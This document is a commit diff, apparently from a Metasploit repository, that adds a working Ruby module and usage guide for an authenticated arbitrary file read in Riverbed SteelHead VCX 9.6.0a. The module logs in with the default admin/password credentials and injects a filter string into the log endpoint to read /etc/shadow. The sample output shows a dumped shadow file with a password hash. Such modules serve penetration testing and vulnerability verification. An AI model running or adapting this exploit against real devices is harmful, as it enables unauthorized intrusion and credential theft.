Land #8507, Riverbed SteelHead VCX file read
commit
bb9d1a6768
|
@ -0,0 +1,57 @@
|
||||||
|
This module exploits an authenticated arbitrary file read in the log module's filter engine.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
The application is available for a 90 day evaluation after free registration from
|
||||||
|
[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html).
|
||||||
|
Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`.
|
||||||
|
If need be from cli, to show the IP address of the device: `show interfaces primary`
|
||||||
|
|
||||||
|
This module was successfully tested against:
|
||||||
|
|
||||||
|
- SteelHead VCX (VCX255U) 9.6.0a
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read```
|
||||||
|
2. Do: ```set RHOSTS [IP]```
|
||||||
|
3. Set TARGETURI if necessary.
|
||||||
|
3. Set FILE if necessary.
|
||||||
|
3. Set USERNAME if necessary.
|
||||||
|
3. Set PASSWORD if necessary.
|
||||||
|
4. Do: ```run```
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### SteelHead VCX255u 9.6.0a running on ESXi
|
||||||
|
|
||||||
|
```
|
||||||
|
resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
|
||||||
|
resource (riverbed.rc)> set rhosts 192.168.2.198
|
||||||
|
rhosts => 192.168.2.198
|
||||||
|
resource (riverbed.rc)> set verbose true
|
||||||
|
verbose => true
|
||||||
|
resource (riverbed.rc)> run
|
||||||
|
[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
|
||||||
|
[+] Authenticated Successfully
|
||||||
|
[+] File Contents:
|
||||||
|
admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
|
||||||
|
administrator:*:10000:0:99999:7:::
|
||||||
|
apache:*:10000:0:99999:7:::
|
||||||
|
localvixuser:*:10000:0:99999:7:::
|
||||||
|
named:*:10000:0:99999:7:::
|
||||||
|
nobody:*:10000:0:99999:7:::
|
||||||
|
ntp:*:10000:0:99999:7:::
|
||||||
|
pcap:*:10000:0:99999:7:::
|
||||||
|
postgres:*:10000:0:99999:7:::
|
||||||
|
rcud:*:10000:0:99999:7:::
|
||||||
|
root:*:10000:0:99999:7:::
|
||||||
|
rpc:*:10000:0:99999:7:::
|
||||||
|
shark:*:10000:0:99999:7:::
|
||||||
|
sshd:*:10000:0:99999:7:::
|
||||||
|
statsd:*:10000:0:99999:7:::
|
||||||
|
webproxy::10000:0:99999:7:::
|
||||||
|
[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
|
@ -0,0 +1,130 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Riverbed SteelHead VCX File Read',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an authenticated arbitrary file read in the log module's filter engine.
|
||||||
|
SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['EDB', '42101']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
|
||||||
|
'h00die' # Module
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jun 01 2017',
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
|
||||||
|
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
|
||||||
|
OptString.new('USERNAME', [true, 'Username', 'admin']),
|
||||||
|
OptString.new('PASSWORD', [true, 'Password', 'password']),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
# pull our csrf
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => {
|
||||||
|
'next' => '/'
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_error("#{full_uri} - Connection timed out")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
cookie = res.get_cookies
|
||||||
|
csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
|
||||||
|
vprint_status("CSRF Token: #{csrf}")
|
||||||
|
|
||||||
|
# authenticate
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => cookie,
|
||||||
|
'vars_post' => {
|
||||||
|
'csrfmiddlewaretoken' => csrf,
|
||||||
|
'_fields' => JSON.generate({
|
||||||
|
'username' => datastore['USERNAME'],
|
||||||
|
'password' => datastore['PASSWORD'],
|
||||||
|
'legalAccepted' => 'N/A',
|
||||||
|
'userAgent' => ''
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_error("#{full_uri} - Connection timed out")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 400
|
||||||
|
print_error('Failed Authentication')
|
||||||
|
return
|
||||||
|
elsif res.code == 200
|
||||||
|
vprint_good('Authenticated Successfully')
|
||||||
|
cookie = res.get_cookies
|
||||||
|
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
|
||||||
|
end
|
||||||
|
|
||||||
|
# pull the file
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
'filterStr' => "msg:-e .* #{datastore['FILE']}"
|
||||||
|
}
|
||||||
|
}, 25)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_error("#{full_uri} - Connection timed out")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.body
|
||||||
|
result = res.get_json_document
|
||||||
|
unless result.has_key?('web3.model')
|
||||||
|
print_error('Invalid JSON returned')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
reconstructed_file = []
|
||||||
|
# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
|
||||||
|
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
|
||||||
|
result['web3.model']['messages']['rows'].each do |row|
|
||||||
|
if row['msg'].start_with?(datastore['FILE'])
|
||||||
|
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if reconstructed_file.any?
|
||||||
|
reconstructed_file = reconstructed_file.join("\n")
|
||||||
|
vprint_good("File Contents:\n#{reconstructed_file}")
|
||||||
|
stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
|
||||||
|
print_good("Stored #{datastore['FILE']} to #{stored_path}")
|
||||||
|
else
|
||||||
|
print_error("File not found or empty file: #{datastore['FILE']}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue